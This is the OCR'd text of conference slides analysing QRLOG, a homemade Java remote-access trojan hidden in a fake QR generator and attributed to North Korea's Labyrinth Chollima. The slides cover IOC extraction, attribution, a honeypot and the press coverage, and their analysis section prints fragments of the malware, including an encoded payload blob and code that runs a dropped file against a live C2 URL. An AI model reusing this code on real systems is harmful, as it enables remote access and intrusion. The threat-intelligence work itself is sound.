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WHOaMmI

MAURO ELDRITCH JUAN BRODERSEN
Mauro Eldritch is an argentine hacker, founder of Juan Brodersen is a journalist, bachelor's degree in
Birmingham Cyber Arms LTD and DC5411 (Argentina / Philosophy (UBA), covering cybersecurity beat for
Uruguay). He spoke at different events including DEF Clarin, Argentina's largest newspaper. He also teaches
CON a couple of times in the past. Loves Threat Journalism at two national universities and writes a

Intelligence, Biohacking and OSINT. Latin American-focused infosec newsletter, SecOps .



ABOUT THIS TALK

| stumbled upon an unusual malware sample that seemed
quite homemade. Surprisingly simple, it evaded all

CHAPTER 1 existing antivirus software. Thus, | deemed it worthy of
further investigation. After conducting CTl and OSINT,
things took a much darker tum...

Almost 100 days later, we decided to team up with Juan,

and so our journey to profile the malware developers (and

their campaign) began. With new leads in hand, it was CHAPTER 2
time to discreetly inquire within the scene to gather

intel... And perhaps even uncover a surprise...




WHAl'S d CHOLLIMA? WHY SHOULD WE FEAR THEM?

Qianlima, Senrima Alias for North Korean Threat

: : ctors
A mythical winged horse étate Sponsored Attacks

Present in East Asian mythology Official financial support

Japan, China, North Korea State-provided legal impunity

North Korea Chollima This leads to reckless attacks

Movement .

Operation DarkSeoul, Sony Incident,
Bangladesh Bank Incident, WannaCry
outbreak, Ronin Bridge hack, Horizon
Bridge hack.



WHAt('S d CHOLLIMA? WHY SHOULD WE FEAR THEM?

Alias for North Korean Threat

ctors
étate Sponsored Attacks

Qianlima, Senrima
A mythical winged horse
Present in East Asian mythology Official financial support
Japan, China, North Korea State-provided legal impunity

North Korea Chollima This leads to reckless attacks

Movement .

Operation DarkSeoul, Sony Incident,
[alleged] Bangladesh Bank Incident,
[alleged] WannaCry outbreak, Ronin
Bridge hack, Horizon Bridge hack.




100 DAYS IN
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The Infection | Analyzing a homemade malware | 10Cs,
CTl, OSINT & Revenge



THE INFECTION

2023-02-07,
5. . : :
Malware deployed bundled Qi &} Artifact was sandboxed and host
inside a fake QR Generator. was network contained. Multiple

alerts from Crowdstrike issued.

|

7 4
e .%& % &

2023-02-07, 13:01

Artifact acquired. Behavior
monitored for I0C extraction.



“This is a basic - seemingly homemade - RAT that
attempts to open a reverse shell [...]

As of the time of writing, there is no public mention of
this malware or its components.

| named it QRLOG."

— MAUROD ELDRITCH'S FIRST REPORT ON QRLOG



c String QUIET 2] aWiwb3J0IGphdmEuaW8uSU9FeGN1cHRpb247Cm1tcGOydCBqY X
"nQ7Cm1tcGoydCBqYXZhLmS 1dC50dHRWLKhOdHBSZXF1ZXNOOwppbXBvcnQgamF2YS5uZXQuaHROcCH

"KYXJkQ2ZhhcnN1dHM7Cm1tcG9ydCBqYXZhLnVOaWwuQmFzZTY@0wppbXBvenQgamF2YS51dG1sL 1hY
"CBQYXZhLmlvLkZpbGU7Cm1tcGOydCBqYXZhLmlvLkZpbGVXcm1OZXI7CmtcGIydCBqYXZhLmxhbmd
"1IHNOYXRpYyBmaWShbCBTdHJIpbmcgUESTVFOVUKWGPSA1aHROCHM6LY93d3cuZ210LWh1Y15tZS92
"W5nW10gYXJIncykgdGhyb3dzIE 1PRXhjZXBOaWIuewoKICAGICAGICBZZWSKUEITVCGpPOWogICAGT
"zIE1PRXhjZXBOaWIuIHSKICAGICAGICBTdHIpbmcgc3RyUGOVDCAQICIXMIMONTY30Dk10wogICAg]
"wogICAgICAGIFIhbmRvbSBy YWSkID@gbmV3IF JhbmRvbSgpOwogICAGICAGIA0gICAGICAGIGZVCL
"0c3RyUGOVHCSjaGFyQXQocmFuZC5uZXhOSWSOKHNOC 1BVb2wubGVuZ3RoKCkpKSk7CiAgICAGICAG
"CAgfQogICAgCiAgICBwem12YXRLIHNOYXRpYYBTdHIpbmcgZ2VeT3B1cmFOaWSnU31zd6VEKCkgew
"ubmF tZSIpOwogICAgICAgIFNOcmLuZyByZXN1bHQGPSBudWxSOWogICAgICAGIAOGICAGICAGIG Y
"HQgPSAiMCI7CiAgICAGICAGZWXZZSBpZiAob3MuY29udGFpbnMoIkxpbnV4IikpCiAgICAGICAGIC
"ucygiTWFj IE9TIFgiKSKKICAGICAgICAgICAGCmVZdWx0IDOGI jEiOwogICAGICAGIHI LdHVybiBy:
"2VuZFBPU1QoKSBOaHJvd3MgSU9FeGN 1cHRpb24gewogICAgICAgIFNOcmLuZyB1aWQgPSBy YWSKR2
"uZ0J1aWxkZXIoKTSKICAGICAGICBTdHIpbmcgc2ViX3BhdGggPSALI] sSKICAGICAGICBKYXRhLmFw]
"Ck7C1iAgICAgICAGZGFOYS5hcHB1bmQoIj IwMDALKT SKICAGICAGICBKYXRhLMFWCGYUZChNZXRPCG
"ydWUpCiAgICAGICAgewogICAgICAgICAGICBOCnkgewogICAGICAGICAGICAGICAGaWYgKHN1Y10wY
"GUgC2VjRm1sZSA9IGS5 1dyBGaWx LKHN1Y19wYXRoKTSKICAGICAGICAGICAGICAgICAGICBpZiAoc2
"zdGVtLmV4aXQoMCk7CiAgICAGICAGICAGICAGICBICIAgICAGICAGICAGICAGICAKICAGICAGICAG]
"XdCdW1sZGVyKCKKICAgICAgICAGICAGICAGICAGICAUAGVhZGVYKCIDb250ZWSOLVRSCGULLCALY:

"gICAgICAGICAGLNZ1cnNpb240SHROCENSaWVudC5WZXJzaWouL khUVFBFMVBXKQogICAgICAGICAG]
"CAgICAGICAgICAGICAGL 1BPU1QOSHROCF J 1cXV1c3QuQmokeVB1Ymxpc2hlcnMub2ZTdHIpbmcoZGH
"0KTSKICAGICAGICAgICAgICAGIEROJHBDDG1bnQgY2xpZW50IDOgSHROCENSaWVudC5uZXdIdHRW(
"W5nP1iByZXNwb252ZSA9IGNsaWVudC52ZWSKKHI 1cXV1c3Qs IENOIHBSZXNwh252ZS5Ch2R5SGFUZG:
"uc2Uuc3RhdHVZzQ29kZSgpICEQIDIWMCKKICAGICAGICAGICAGICAGIHSKICAGICAGICAGICAGICAG]
"CAgY29udG LudWU7CiAgICAgICAgICAGICAGICBICIAGICAGICAGICAGICAGICBTdHIpbmcgemVzU3
"yZXNTdHIuc3RhcnRzV210aCgiRO1USFVCX1JFUyIpKQogICAGICAGICAGICAGICAGewogICAGICAG:
"31IpOwogICAgICAgICAGICAGICAGTSB1bHNL1IHSKICAGICAGICAGICAGICAGIGLMIChYZXNTAHIUDG

"gICAgICAGICBTdHIpbmcgZW5jX2RhdGEgPSBYZXNTdHIuC3Vic3RyaWsnKDEWKTSKICAGICAGICAg: O R LO G h | d e S | n p | a I n S | g ht b a S e 64 - e n C 0 d e d
"29kZXI0KS5KZWNVZGUOZWS j X2RhdGEpOWogICAgICAgICAGICAGICAgICAGIFNOCLuZyBvemd fZm '
"UVVRGXzgpOwogICAgICAGICAGICAgICAGICAGIFNOCMLuZyBvemdfcGFOaDSKICAGICAGICAGICAGY 0 0

U1udChnZXRPCGVyYXRpbmdTeXNOZWOOKSKgPTOGMCKKICAGICAGICAGICAGICAGICAGICB7CiA N S | d e a Va” ab | e n a m e d OU I Er ZO N E DATA .

"1dFByb3B1cnRSKCIqYXZhLmlvLNRtcGRpciIpICsgI1xccHI1ZIRtCC5qYXZhI j SKICAGICAGICAG:
"HkoImphdmEuaW8udG1wZGlyIikgKyAiXFxwLmRhdCI7CiAgICAgICAgICAGICAGICAGICAGTSBLbHI

"0ZWOUZ2VOUHJIVCGVydHkoImphdmEuaW8udG1wZGlyIikgKyAil 3ByZWZUbXAuamF2YSI7CiAgICAg

"3B1cnR5KCIqYXZhLmlVLNRtcGRpciIpICsgIiowLmRhdCI7CiAgICAGICAGICAGICAGICAGICAGTQ . . . .
"gbmV3IEZpbGVXcm10ZXIob3InX3BhdGgsIHRydWUpP0®JI1ZmZ1cmVkV3IpdGVyIGI1ZmZ1ciA9IGS L I‘ts f| n a | 0 bJ e Ct |Ve | S ‘to 0 p e n a reve rS e S h e | | for
"CAgICAGICBidWZmZXIud3JpdGUob3InX2ZpbGUpOwogICAGICAgICAGICAGICAGICAGIHOKICAGICA

"vemdfc6FOaCArICIgIiAr IHVPZCAr ICIgIiAr IFBPUIRFVVIMOWogICAGICAGICAGICAGICAGICAG]Y

"CAgICAGICAgICAGICAGVGhyZWFKLNNSZWVWKDMWMDApOWogICAgICAgICAGICAGICAGFQogICAGICH t h € a dve rsa ry tO a b use.

"9CiAgICAgICAGICAGIHOGY2FOY2ggKE ludGVycnViwdGVKRXhjZXBOaWIUIGVAKSB7CiAgICAGICA

String cmdline = "java " + org_path + " " + uid + " " + POST_URL; SOUFCB Blrmlngham CYbeI' AI'mS LTD .

Runtime.getRuntime().exec(cmdline);
Thread.sleep(3000);




ANALYZING QRLOG

https://drive.google.com/file/d/1J6943NKwGIcWHN7lj409gJe__ 9p7Flo7/view
drive.google.com

Community Score

DETECTION DETAILS COMMUNITY|

Security vendors' analysis (O

CMC Threat Intelligence

HTML Info ©

Its simplicity eluded most antivirus detections,
AcoseGeneatr Savas - Googe e but in the end, its behavior was sufficient to
reveal its true intention.

Meta Tags

og:url https://drive.google.com/file/d/1J6943NKwGIcWHh7Ij409gJe__9p7Flo7/view?usp=embed_facebook

google notranslate

og:site_name  Google Docs S 0 U rC e Vi ruSTotaI i
ogtitle QRCodeGenerator_Java.zip

referrer ongmin

og:type article




private static String em() {

String os = System. ("os.name");

ANALYZING QRLOG

if (os.c ("windows"))
result

else if (os. ta inux"))
result
if (os. ains("Mac 0S X"))
result =

return result;

if (Integer.parselnt(getOp em()) == 0)

{
org_path = System.ge 0 y("java.io. tmpdir") "\\prefTmp.java"
sec_path = System.get ("java.io.tmpdir") "\\p.dat";

} else {
org_path = System.getPrope /("java.io.tmpdir") "/prefTmp.java";
sec_path = System.get ty("java.io.tmpdir") "/p.dat"

Throughout the code, numerous indications

e e point to its homemade nature, displaying
STmese = s meeg; carelessness and lack of attention to detail.
YRR, This caused an interesting OPSEC fail , which

. sb.append(strPool.charAt(rand.nextInt(strPool.length()))); we Wl“ dISCUSS |ater

return sb.toString();

Source: Birmingham Cyber Arms LTD

String POST_URL wi.git-hub.me/view.php";




"It is the code of someone who does not have much
experience and was copying and pasting things from the
Internet. The malware is not so hidden: on a scale from 1 to
10 in concealment, I'd say it has a 3 [...]

It's all very haphazard, as if someone had made a script to
hack their girlfriend.”

— MAXIMILIANO FIRTMAN (@MAXIFIRTMAN | @FIRT), PROGRAMMER, PROFESSOR &
AUTHOR



EXTRACTING IOCS

y secus
REFERENCE: nttps;
TAGS:
MALWARE FAMILY: QRLog

ENDPOINT SECURITY Scan your endpoints for IOCs from this Pulse!

TYPES 0F>INDICATORS

Show [10___ ] entries

With no further news at this point, we started
- sharing I0Cs and intelligence publicly.

FileHash-MD5

FileHash-MD5

3.07:52PM

. Source: AlienVault OTX .

hostname

SHOWING 1TO 5 OF 5 ENTRIES




THE INFECTION

2023-02-07,12:25 .

2023-02-07,

e

ORLOG deployed bundled inside Ea=a¥
a fake QR Generator.

.@ 12:25-13:01
J Artifact was sandboxed and host

was network contained. Multiple
alerts from Crowdstrike issued.

|

oéc o%”

. .%QC

2023-02-09, 12:07

: : : Intelligence made publicly
Artifact scquired. Behavior —u-vje thry AlienVault OTX.

monitored for 0C extraction. Write-Up published on Github.

2023-02-07, 13:01



fish /home/birminghamcyberarms - o0 ®
= in -

LA -X POST http ent-Type: applicatior -d '{"domai

:"git-hub.m

abbrapp.io/api/da

%, nty 1SSt e i
{"currentSSL": [{"Issuer":"CN=R3, D=Let s Encrypt C=l US" "NutAfter' "2023-September-14", "NotBefore":"2023-June-16", "Commo
nName" : "R3", "PublicKey":"33 6138363 730643031303130313035303030333832303230663
303230613032383230323031303063363! 3961643631383365373432353930643235313439613863623135343134633265653
665303237. 1 3862616431 &) 761653264 13731363966623935343
861 73636333, 261343634353634333839616231393135316562623462623661353 76265373335616
32373133376665626138306235363531383330383133373134623963623332656237303363316439653738636
16! 766383 4303 3232653138363234653738623563613161383435613063303036353864626
63034353637376333653¢ 433313! 3137 13464613437653837393461 3 383
56163326331616437. 37 26263323 7613 "’“"73435513564411: 336
7: 6237, LEEE] 3762 36161613362373863343
261366233386 165383 275537663232646233315333643861373!!5133366331343!!3934395234373El653363626335393
13665353 1316662326431 4393431333366316631 7
3138633 23331 2333938653631 13031353466343636343335643
6393637 73866343 6432323 16. 36623832366231 13161 761373
0373 461343664323261313. 13732393662343 36461663131 3865376233393
637643366373537. 38613033376561373 16161 133646237343664636231326
1373036626131633 1663261 3261623 1 63623833303130313161356130313:
1393 3 37656262623162623266313331376232616461333265356631636661323
7396531 343533373130353661 26131 238313334393136633: 38313961323131
4353462316 1396. 23 238643 73431 130303031", "Subject": "CN=g

it-hub.me", "DNSNames":["*.git-hub.me","git-hub.me"],"IPAddresses":null, "EMails":null, "Domain":"git-hub.me:443"}],"hist
oricalssL":[{"issuer" I=R3, 0=Let s Encrypt C=Us","notafter":"2023-September-14", "notbefore":"2023-June-16", "commonna

me":"R3", "publickey":" 61383634 3064303130313031 303;
13032383230323031303063 3961643631383365373432353930643235313439613863623135343134633265653665
ELEPEYS 33306561 386261643136396662663132393 761653264 13731363966623935343861

26134363435363433383961623139313531656262346262366135376638336662643639376265373335616430
3363316265356662393863366432373133376665626138396235363531383339383133373134623963623332656237393363315439653738636439

1 4303 73232653138363234653738623563613161383435613063303036353864626630
3435363737633 3331 3137. 38313464613437653837393461303563363562356436633062383561
633263316164373664643437. 7613764366437343661386435616633383433623664303964
3066666 26237. 6, 4 266376 161613362373863343034
3563383261366233386266333935396165383237653766323264623331633364386137386138366331343830343962343730653363626336393339
13665353 1316662326431 4393431333366316631 3137 163
64666 3138633 3331 1 JEENE 3636343335643639
363’ 73866343 332643232376338303162. 36623832366231 313161 761373037
62636461343664323261313. 1373239366 16631313666653638303238653 7
643366373537366535643032386130333765613731 16161 1336462373436646362313262 336137
3036626131633 1663261 1623 26261 636 130313161356130313:
1393 3 37656262623162623266313331376232616461333265356631636661323739
6531 43 11:72129252551 6131 238313334393136633! 38313961323131 35
34623162353364393861396: 3864323 73431 3033303130303031", “sub]ect" 'CN—g1t~

hub.me", "domain”:"git-hub.me", "tasktlme" 1689100225142, "dnsnames": ["*.git-hub.me","git-hub.me"], "ips":null, "emails"
U}

Can

in -

EXTRACTING IOCS

Queried domains used SSL certificates issued
by Let's Encrypt.

Source: GrabbrApp.io



45.7712318

Add to Pulse +

Passive DNS

29

Pulses

3

Analysis Overview

Verdict [Malicious

Classification Datacenter / Hosting / VPS

Reverse DNS

Location os Angeles, United St 01 Lookup
The Constant Company, LLC CONSTANT (NET-45-76-0-0-1) 45.76.6.0 -
Constant Company, LLC CONSTANT (NET-45-76-0-0-1) 45.76.0.0 - 45.77
Vultr Holdings, LLC NET-45-77-122-0-23 (NET-45-77-1:
45.77.123.25: Vultr Holdings, LLC NET-45-77-122--23 (NET-45-77-122
45.77.122.0 - 45.77.123.255

ASN AS20473 the constant con

DNS Resolutions 29 Domains

Top Level Domains 9 Unique TLDs

Related Pulses Al g occuisresus O

Related Tags 6 Related Tags 1P address information (123.18.0.0 - IP/Domain Lookup
en.ntunhs.net
123.18.4¢
123.18.45.76 123.18.45.77 123.18.45.78 1.

dokeispy SARLag, (Ciosg 9 123.18.45.70 123.18.45.71 123.1

18.45.79

threat-intel/iocs/Cobalt Strike: Anélise da Infraestrutura.csv at master
github.com

45.77.123.18. 17: -bird-cc6e.hxdm.workers.dev. 139.18(
5.180.97.29. ap.availablenationwide.com. 89.44.9.250.

log4j.ixt - MelihOzturkicyber-security-ip-blackiit - GitHub
github.com
45.77.115.208 45.77.117.108 45.
14.195 45.77.142.82 45.77.

cobaltstrike.txt - GitHub
raw githubusercontent.com
chivo: textiplain
7.123.18:443 45.77.123.18:8080 45.77.14.195:2052 45.77.14.195:80 45.77.14.195:8080
45.77.174.139:6443 45.77.174.139:7443 45.77.174.139:805

5114 10C. - CERT-AGID
ert-agid.gov.it
F hivo: text/plain

13 dic. 2021 5.77.1
"45.77. . "45.77.131.86", "45.77.13

"45.77.115.208", "45.77.117.1
35"

logashell-io
ert-agid.gov.it

W-ipvd.ixt - CERT-AGID

>: text/plain
45.76.56.26 45.76.67.12 45.76.67 76.97.205 45.77.0.96 45.77.10.227
45.77.117.108 45.77.122.108 45.77.123.18 45. 5

Q_ Buscar "45.77.123.18" en Google ».

45.77.
255.
0-1) 45.77.122.0

EXTRACTING IOCS

255.25: The
255

72123.18.45.73 123.18.45.74 123.18.45.75

The domain auth.pxaltonet.org points to an IP
hosted on Vultr. Currently, both destinations are
unresponsive and were linked to JokerSpy,
Cobalt Strike and Log4j exploitation attempts,
with 29 domains and 9 unique TLDs associated.

Sources: AlienVault OTX & VirusTotal .

45.77.115.208

o For Google



fish /home/birminghamcyberarms = (@
- in -
‘7A git-hub.me
Domain Name: GIT-HUB.ME
Registry Domain ID: D425500000340753072-AGRS
Registrar WHOIS Server:
Registrar URL:
Updated Date: 2023-03-20T21:16:40Z
Creation Date: 2023-01-19T15:29:42Z
Registry Expiry Date: 2024-01-19T15:29:42Z
Registrar Registration Expiration Date:
Registrar: Porkbun LLC
Registrar IANA ID: 1861
Registrar Abuse Contact Email:
Registrar Abuse Contact Phone:
Reseller:
Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registrant Organization: Private by Design, LLC
Registrant State/Province: NC
Registrant Country: US
Name Server: MACEIO.NS.PORKBUN.COM
Name Server: CURITIBA.NS.PORKBUN.COM
Name Server: SALVADOR.NS.PORKBUN.COM
Name Server: FORTALEZA.NS.PORKBUN.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of WHOIS database: 2023-07-25T18:31:44Z <<<

For more information on Whois status codes, please visit https://icann.org/epp

EXTRACTING IOCS

The domain git-hub.me is now owned by
PorkBun and all traffic is delegated to its Name
Servers (provided by Cloudflare).

Source: Whois .



fish /home/birminghamcyberarms - 0O @&
in -
A

PING git-hub.me (44.227.76.166) 56(84) bytes of data.

e

1

{

- git-hub.me ping statistics ---
packets transmitted, © received, 100% packet loss, time Oms

in «
A (9.055s)

"ip": "44.227.76.166",

"hostname": "ec2-44-227-76-166.us-west-2.compute.amazonaws.com",
"city": "Pendleton”,

"region": "Oregon",

“country”: "Us",

"loc": "45.6721,-118.7886",

"org": "AS16509 Amazon.com, Inc.",

"postal"”: "97861",

“timezone": "America/Los Angeles",

“readme”: "https://ipinfo.io/missingauth"

in = . .
‘'l Analysis Overview
Verdict

Classification

Reverse DNS

=5 Boardman,
United States of America

Location
ASN AS16509 amazon.com inc
DNS Resolutions 500+ Domains

Top Level Domains 102 Unique TLDs

Related Pulses oTX eated Pulses (12)

Related Tags 26 Related Tags

Nextray, cyber security, ioc,

phishing, malicious More

EXTRACTING IOCS

The same domain also points to an IP hosted on
AWS. Currently, both destinations are
unresponsive, but more than 500 domains and
102 unique TLDs remain associated.

This indicator caught the eye of another
researcher, who got in touch with us.

Sources: IPInfo.io & AlienVault 0TX



THE INFECTION

2023-02-07,12:25 ___. A o 0
o ‘@'4‘. PY & :3 . .
ORLOG deployed bundled inside Ea=a¥ W) Artifact was sandboxed and host
a fake QR Generator. was network contained. Multiple

alerts from Crowdstrike issued.

|

— =S as &
@ L @ @ L
= s
2023-02-07, 13:01 2023-02-09, 12:07 2023-04-26, 08:44 2023-04-28, 13:36

Artifact acquired. Behavior Intelligence made publicly Researcher “Daniel” points  Crowdstrike ties the C2
monitored fc?r 0C éxtraction available thru AlienVault OTX.  out the sample’'s C2 is tied  infrastructure to a DPRK
~ Write-Up published on Github. to DPRK. sponsored Actor.



"In early 2023, CrowdStrike Falcon OverWatch detected malicious
activity in some environments of the financial sector [...]
confirming that the activity related to QRLOG malware are

attributed with high confidence to LABYRINTH CHOLLIMA based
on the adversary's scope and TTPs.”

— SPOKESPERSON, CROWDSTRIKE



EXTRACTING IOCS

Attribution was established with High
Confidence , and we could finally put a name to
Sl the malware developers: Labyrinth Chollima .

Sources: Daniel & Crowdstrike .




@ Related actors

in your envir 2nt

LaeyRINTHCHOL.. & @ Bi Active

o 0o

tior Origin

Apr 2023 State-Sponsored North Korea, East A...

ite! report arget industries Target countrie

22 30

Community identifie

APT-C-26, Zinc, UNC2970, UNC577, UNC4736, HIDDEN COBRA, Beag|...

@ Related indicators

https:/www.git-hub.me/view.php URL

Threat types

High Targeted

Target

Actor/LABYRINTHCHOLLIMA

EXTRACTING IOCS

We simulated an infection by interacting with the C2
as the malware would.

For journalistic purposes, we messaged the C2,
requesting the Actors to chat via Telegram with us,
sharing our alias. Their response was less than
enthusiastic...

Source: Crowdstrike .
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THE PAYBACK

From 2023-04-26 10:28 to 2023-05-02 16:10 , we
observed nearly 1500 attempts to brute-force an SSH
instance running on the machine from where the
original contact request was sent.

Unbeknownst to them they fell into a honeypot...
which provided us with valuable intel.

Source: Birmingham Cyber Arms LTD
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e "We are aware that hackers are willing to pay for AWS. Someone who
sends spam, for example, can pay a low amount to have a Linux server
and send a million phishing emails”
e “We are very concerned about spam coming from our platform. It lowers
our reputation, it causes problems for legit customers because they can't
send emails”
e "We also know that there are more sophisticated actors that abuse
AWS"

— MARK RYLAND, CISO (AWS)
[INTERVIEW WITH DIARIO CLARIN]
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As we bear witness to the Chollimas' capabilities, we
are left wondering about the minds behind their

bca-aux  4.209.207.35.bc.googleusercontent.com SSH Bruteforce  2023-04-26 10:28:38
bca-aux  43.134.42.28 SSH Bruteforce  2023-04-26 10:28:38 .
bca-aux  ¢73-15-203-143.hsd1.ca.comcast.net SSH Bruteforce  2023-04-26 10:28:38 0 p e rat l 0 n S noo
bca-aux  zammad SSH Bruteforce  2023-04-26 10:28:37

bca-aux  43.156.77.208 SSH Bruteforce  2023-04-26 10:28:35 Source: Birmingham Cyber Arms LTD

bca-aux  s228.trueweb.co.kr.68.115.211.in-addr.arpa SSH Bruteforce  2023-04-26 10:28:31




RIDING WITH
THE

~CHOLLIMAS

A State Sponsored Threat | Winged-horses, Corpo
Espionage and Ballistic Missiles | A wonderful surprise



A STATE SPONSORED THREAT: DPRK PROFILE

VELVET CHOLLIMA

US & RoK Critical
Infrastructure, NGOs,
Government, Media, Military.

CabraVenom, BabyShark.

Korean Hydro-Nuclear Power
Plant (KHNP), 2014.

RICOCHET CHOLLIMA

RoK NGOs, Government,
Media & DPRK Defectors.

PoorWeb, Fatfingers,
ROKRAT.

Daily NK (South Korea) Spear
Phishing Campaign, 2023.

DPRK RGB

DPRK's Reconnaissance
General Bureau (RGB).

Bureau 121 & Bureau 180.

APT-38 A.K.A “ZINC", “Hidden
Cobra" or “Lazarus ".



e "LAZARUS is a highly sophisticated cybercriminal group that has
carried out a number of high-profile cyber attacks"

e ‘They are linked to the North Korean government and have been
active since at least the early 2000s"

— MARIO MICCUCI, RESEARCHER (ESET LATAM)



WINGED HORSES: LAZARUS PROFILE

SILENT CHOLLIMA

High-profile Corporate and
Economic Espionage.

XMRig, Valefor, GifStealer,
BMPScriptRAT AnanasRAT.

Papercut Campaign, 2023
(Cryptojacking).

STARDUST CHOLLIMA
High-profile Currency Theft.

TwoPence Framework (probably
based on KorDLL Framework),
PDFUnfolder, RustBucket.

Strategic Web Compromise,
Weaponized Documents.

LABYRINTH CHOLLIMA

Currency Theft, Economic
Espionage.

ORLOG, RottenCoffee,
SnakeBaker.

Sony Incident, WannaCry
Outbreak, QRLOG Campaign.



e "CrowdStrike links this adversary with Bureau 121 of the DPRK's RGB
conducting espionage operations and revenue generation schemes”

e "Recent activity includes intelligence gathering , financial gain, destruction
and intellectual property theft "

— SPOKESPERSON, CROWDSTRIKE



N.S.A. Breached North Korean
Networks Before Sony Attack,
Officials Say

@ Give this article ~ N 0 378

By David E. Sanger and Martin Fackler

Jan. 18,2015

CORPO ESPIONAGE

Sony Pictures Hack

November, 2014: NSA detected that “Guardians Of Peace” was
copying Sony Pictures information for around 2 months.
Source: NYT

“Responsible for some of North Korea's most notorious cyber
operations, including the destructive attack 2014 attack on
SONY Pictures Entertainment”

Source: Crowdstrike



REUTERS

Exclusive: Suspected North Korean hackers
targeted COVID vaccine maker AstraZeneca -
sources

CORPO ESPIONAGE

AstraZeneca
Suspected North Korean hackers have tried to break
into the systems of British drugmaker AstraZeneca
(spear phishing)
“The goal: intellectual property theft"

Sources: Reuters / Kaspersky



e '[..] stolen assets are likely funding an array of state
projects including North Korea's nuclear and WMD
programs ."

— INTELLIGENCE REPORT ON LABYRINTH CHOLLIMA, CROWDSTRIKE



BALLISTIC MISSILES

“Cyberwarfare is an all-purpose sword that guarantees
the North Korean People's Armed Forces ruthless
striking capabilities, along with nuclear weapons and
missiles "

- Kim Jong-un (2013)

Sources: Health Sector Cybersecurity Coordination
Center (HC3), Cybersecurity and Infrastructure
Security Agency (CISA) .



PRESS RELEASES

Treasury Sanctions North Korean State-
Sponsored Malicious Cyber Groups

BALLISTIC MISSILES

“Treasury is taking action against North Korean
hacking groups that have been perpetrating cyber
attacks to support illicit weapon and missile
programs "

- Sigal Mandelker , Treasury Under Secretary for
Terrorism and Financial Intelligence (2019).

Source: U.S. Department of the Treasury



A WONDERFUL SURPRISE

But... At times large organizations like APTs face
challenges in managing their assets (human and
technological), resulting in interesting OPSEC fails ...



A WONDERFUL SURPRISE

[...]/default-compile/inputFiles.1st:275]C:\Userg\Edward\Downloads\qr-code-generator-and-reader -]
[...]/default-compile/inputFiles.1st:276]C:\Userg\Edward\Downloads\qr-code-generator-and-reader-
[...]/default-compile/inputFiles.1st:277]C:\Userg\Edward\Downloads\qr-code-generator-and-reader -|

The inputFiles.Ist file (shipped with the sample)
contains Maven build information.

Based on it, it's possible to ascertain that the author
of the malware operates on a Windows system... and
identifies themselves as Edward .

Source: Birmingham Cyber Arms LTD
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MEDIA STRATEGY : HOW DO WE

PR L TELLTHIS STORY IN CLARIN ?
mu
Hecho en Corea del Norte:
descubren un nuevo virus que u -i_ﬁ_ ,‘

funciona como una molotov
digital y ya ataco en el continente

lackers de Lazarus crearon un malware rudimentario pero efectivo: asi quisieron robarle
millones a una empresa latinoamericana

100K 657K -60

% Juan Brodersen pr] Nt SUbS age




MEDIA STRATEGY

oo @ ——o o o — % —

TRANSLATE GIVE VOICE EXPLAIN
e RAT IOC, APT, CTI e Java Expert e  Why is this important?
e Malware e Malware Analyst e \What does this means?
e State-sponsored e Threat Intel Analyst e What is DPRK doing?
e AV Heuristic e Threat Hunter



MAIN GOAL OF THESE STORIES: SHIFT THE QUESTION

IS A
HACKER ©erten

BAD?

How is this new intel changing the
global threat landscape 7

How does threat analysis and
reconnaissance contribute to
understand the world?



CONCLUSIONS

Any suspicious activity must be investigated to the last consequences, regardless of its scale .

Always share intel, no matter how simple you think your research may be, it may help others -and
yourself- to uncover something big.

Ask, ask, ask. Somebody has the answers you're looking for or at least, the same questions.

Befriend your local infosec journo.



LINKS

QRLOG Technical Analysis & 10Cs (English, Spanish)
https://github.com/BirminghamCyberArms/QRLOG
QRLOG on Media (Diario Clarin, Spanish)

https://www.clarin.com/tecnologia/hecho-corea-norte-descubren-nuevo-virus-funciona-molotov-digi
tal_0_fR3B6LRX5mj.html
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